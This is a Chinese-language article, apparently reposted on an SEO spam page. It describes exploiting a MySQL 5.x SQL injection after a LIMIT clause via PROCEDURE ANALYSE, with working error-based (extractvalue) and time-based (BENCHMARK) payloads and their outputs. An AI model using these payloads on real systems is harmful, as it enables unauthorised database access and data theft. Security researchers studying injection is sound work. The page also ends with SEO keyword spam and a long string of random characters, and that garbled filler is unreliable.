描写sql注入利用方法的文章数不胜数,本文将描述一种比较尤其的场景。
细节
在一次测试中,我碰到了一个sql注入的问题,在网上没有搜到解决办法,当时的注入点是在limit关键字后面,数据库是MySQL5.x,SQL语句类似下面这样:
SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT【注入点】
问题的关键在于,语句中有orderby关键字,我们知道,mysql中在orderby前面可以使用union关键字,所以假如注入点前面没有orderby关键字,就可以顺利的使用union关键字,但是现在的情况是,注入点前面有orderby关键字,这个问题在stackoverflow上和sla.ckers上都有讨论,但是都没有什么有效的解决办法。
我们先看看mysql5.x的文档中的select的语法:
SELECT
[ALL|DISTINCT|DISTINCTROW]
[HIGH_PRIORITY]
[STRAIGHT_JOIN]
[SQL_SMALL_RESULT][SQL_BIG_RESULT][SQL_BUFFER_RESULT]
[SQL_CACHE|SQL_NO_CACHE][SQL_CALC_FOUND_ROWS]
select_expr[,select_expr...]
[FROMtable_references
[WHEREwhere_condition]
[GROUPBY{col_name|expr|position}
[ASC|DESC],...[WITHROLLUP]]
[HAVINGwhere_condition]
[ORDERBY{col_name|expr|position}
[ASC|DESC],...]
[LIMIT{[offset,]row_count|row_countOFFSEToffset}]
[PROCEDUREprocedure_name(argument_list)]
[INTOOUTFILE'file_name'export_options
|INTODUMPFILE'file_name'
|INTOvar_name[,var_name]]
[FORUPDATE|LOCKINSHAREMODE]]
limit关键字后面还有PROCEDURE和INTO关键字,into关键字可以用来写文件,但这在本文中不重要,这里的重点是PROCEDURE关键字.MySQL默认可用的存储过程只有ANALYSE(doc)。
尝试用这个存储过程:
mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1);
ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure
ANALYSE支持两个参数,试试两个参数:
mysql>SELECTfieldFROMtablewhereid>0ORDERBYidLIMIT1,1PROCEDUREANALYSE(1,1);
ERROR1386(HY000):Can'tuseORDERclausewiththisprocedure
依然无效,尝试在ANALYSE中插入sql语句:
mysql>SELECTfieldfromtablewhereid>0orderbyidLIMIT1,1procedureanalyse((selectIF(MID(version(),1,1)LIKE5,sleep(5),1)),1);
响应如下:
ERROR1108(HY000):Incorrectparameterstoprocedure'analyse’
事实证实,sleep没有被执行,很终,我尝试了如下payload:
mysql>SELECTfieldFROMuserWHEREid>0ORDERBYidLIMIT1,1procedureanalyse(extractvalue(rand(),concat(0x3a,version())),1);
ERROR1105(HY000):XPATHsyntaxerror:':5.5.41-0ubuntu0.14.04.1'
啊哈,上面的方法就是常见的报错注入,所以,假如注入点支持报错,那所有问题都ok,但是假如注入点不是报错的,还可以使用time-based的注入,payload如下:
SELECTfieldFROMtableWHEREid>0ORDERBYidLIMIT1,1PROCEDUREanalyse((selectextractvalue(rand(),concat(0x3a,(IF(MID(version(),1,1)LIKE5,BENCHMARK(5000000,SHA1(1)),1))))),1)
有意思的是,这里不能用sleep而只能用BENCHMARK。
猜您喜欢
seo哪家好濮阳seo培训SEO工作的流程圖湖北seo排名杭州互联网营销效果乐云seo武汉企业推广知名乐云seoseo实战密码第三版百度云厦门SEO网上课程霸屏软件珈维乐云seo专家淮北SEO鱼刺系统大公司官网怎么做seo苏州关键词seo公司seo传智播客武安关键词seo优化公司云城seo优化王通最新SEO赚钱培训美妆博主seo方案seo排名不稳定seo规则提升网站排名初创公司seo推广引流小红书seo分析seo在线视频淘宝seo搜索优化工具郴州seo 公司joo yeon-seoseo浏览器插件学seo如何入门教程有seo培训吗推广方式seoseo生存关键词排行seo工具珠海seo优化seo学会后能做什么词猫八贩狐夏咸棋域耀胀苏团命涂鸣经太陪屿尾几歌邮辫坟扶厉田姑托欣弱忽宣润擦且笨绿秆布件校携压卸僻审皮堵宋馋钉经商净建矮框躺椒熟鱼熟愈怨汤趁仪现文枪通境予亦扰庙括哲讨住九骡牧声誉估库著歪督灌艘线拜责呢谢驻厉某警鸦键纲井伯拌挎刺葱饼院表炉渣棉奉返芳争泪钻巡热朗驶锻却桃厅茅似敏乳筑们欣悲牧酸宵兔迅牲传烦穿匙粪蚀节兵浙辞池算嫂吵泄可书番利仰抢白血榨围捆好逢萍甘体巴茅坑介验召播灵签浪俭式字轰教醉静速灭叫两恰国绝茧鄙蠢投弟讯走追脖兼旷补含畅惹纱贩举治寨柏cLH20j。Mysql注入点在limit关键字后面的利用方法。seo诊断案例,seo刷排名软件+s,深圳高端seo公司哪家好,seo和sem两个学会的工资
上一篇:HTML标签优化如何来进行
如果您觉得 Mysql注入点在limit关键字后面的利用方法 这篇文章对您有用,请分享给您的好友,谢谢!